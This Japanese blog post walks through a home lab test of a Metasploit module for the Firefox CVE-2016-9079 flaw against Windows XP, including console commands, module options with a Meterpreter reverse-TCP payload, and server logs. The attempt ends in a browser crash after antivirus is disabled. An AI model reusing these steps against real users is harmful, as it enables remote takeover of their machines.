Firefox 50.0.1以前にある脆弱性を利用してコードを遠隔実行させる [Metasploit]
以前、Metasploitを使ってMS14-064 (CVE-2014-6332) 脆弱性を利用してWindows XPのInternet Explorer 8でコードを遠隔実行させるテストに成功した。
→ MS14-064脆弱性を利用してXP IE8でコードを遠隔実行させる [Metasploit] - Diary on wind
今回はFirefox 50.0.2で修正された脆弱性 (CVE-2016-9079) を突いてみる。攻撃者が用意したWebページに誘うことで攻撃対象者のWindows上で任意のコードを実行させることができる。
テスト環境
クライアント(攻撃対象者)はWindows XP SP3 + Firefox 46.0.1。XPに正式対応するFirefoxの最終バージョンはESR 52.9.0なので、さすがに時代遅れのXPユーザーでもこの脆弱性を持つバージョンを使用している人は居ないと考えられる。Windows 2000では対応するバージョンはFirefox 10あたりだと思うが、古すぎて逆に効果がないかもしれないし、それ以前にユーザーが全く居ないだろう。そこまでテストされていないので不明。
この脆弱性をテストするモジュールは標準では付属しないが、Exploit DatabaseにID 41151 確認済みとして掲載されている。以下リンクよりダウンロードできる。
実施方法
ホストでMetasploit Consoleを起動(Windows版の場合、インストール先のbinフォルダー内にあるバッチファイルを実行する)。reload_all
を実行してモジュールを再読込。
msf6 > reload_all
[*] Reloading modules from all module paths...
Unable to load the EventMachine C extension; To use the pure-ruby reactor, require 'em/pure_ruby'
Unable to load the EventMachine C extension; To use the pure-ruby reactor, require 'em/pure_ruby'
[-] WARNING! The following modules could not be loaded!
[-] F:/metasploit-framework/embedded/framework/modules/auxiliary/gather/chrome_debugger.rb
[-] F:/metasploit-framework/embedded/framework/modules/auxiliary/dos/smb/smb_loris.rb
[-] F:/metasploit-framework/embedded/framework/modules/auxiliary/dos/http/cable_haunt_websocket_dos.rb
search 41151
で出てくる名称を確認する。use
コマンドを使ってモジュールを読み込み、show options
で必要なオプションを確認する。他PCに対して攻撃テストを行う場合は、SRVHOSTに自PCのIPアドレスを指定する。set SRVHOST aaa.bbb.ccc.ddd
みたいに。
msf6 > search 41151
Matching Modules
================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 exploit/firefox/41151 2016-11-30 normal No Firefox nsSMILTimeContainer::NotifyTimeChange() RCE
Interact with a module by name or index. For example info 0, use 0 or use exploit/firefox/41151
msf6 > use exploit/firefox/41151
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
msf6 exploit(firefox/41151) > show options
Module options (exploit/firefox/41151):
Name Current Setting Required Description
---- --------------- -------- -----------
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an ad
dress on the local machine or 0.0.0.0 to listen on all addresses.
SRVPORT 8080 yes The local port to listen on.
SSL false no Negotiate SSL for incoming connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
URIPATH no The URI to use for this exploit (default is random)
UsePostHTML false yes Rewrite page with arbitrary HTML after successful exploitation. NOT
E: if set to true, you should probably rewrite data/exploits/ff_smil
_uaf/post.html to something useful!
Payload options (windows/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC thread yes Exit technique (Accepted: '', seh, thread, process, none)
LHOST 192.168.1.10 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Mozilla Firefox
Payloadを任意で差し替えて、exploit
コマンドを実行するとサーバーが開始する。
msf6 exploit(firefox/41151) > exploit
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.
msf6 exploit(firefox/41151) >
[*] Using URL: http://192.168.1.10:8080/MF6p8m5iizK3Mu0
[*] Server started.
[*] 192.168.1.14 41151 - Got request: /MF6p8m5iizK3Mu0
[*] 192.168.1.14 41151 - From: Mozilla/5.0 (Windows NT 5.1; rv:52.0) Gecko/20100101 Firefox/52.0
[*] 192.168.1.14 41151 - Sending exploit HTML ...
[*] 192.168.1.14 41151 - Got request: /MF6p8m5iizK3Mu0/worker.js
[*] 192.168.1.14 41151 - From: Mozilla/5.0 (Windows NT 5.1; rv:52.0) Gecko/20100101 Firefox/52.0
[*] 192.168.1.14 41151 - Sending worker thread Javascript ...
攻撃対象PCのFirefoxにて、Using URLに書かれているアドレスにアクセスする。
さすがにESET Smart Securityでトロイの木馬として検出され、ブラウザがページを読み込む前に接続が切断されてしまった。この辺りはセキュリティソフトとして当然ではあるが、さすがだ。
ESETのウェブアクセス保護とファイルリアルタイム保護を無効にして、再度ページへのアクセスを試みる。
すると、何かのJavascriptが読み込まれた瞬間にブラウザがクラッシュして閉じてしまった。何回かブラウザを開き直して同じページを開いたが、同様の結果になった。Payloadの設定が悪かったかもしれない。もしかしたら、WindowsやFirefoxの脆弱性対象となるバージョンが限られているかもしれない。コード実行が意図したとおりにならなかったものの、クラッシュというだけでも不穏な挙動ではある。ESETがちゃんと脅威を検知してブロックしたことが分かっただけでも、収穫になったとしよう。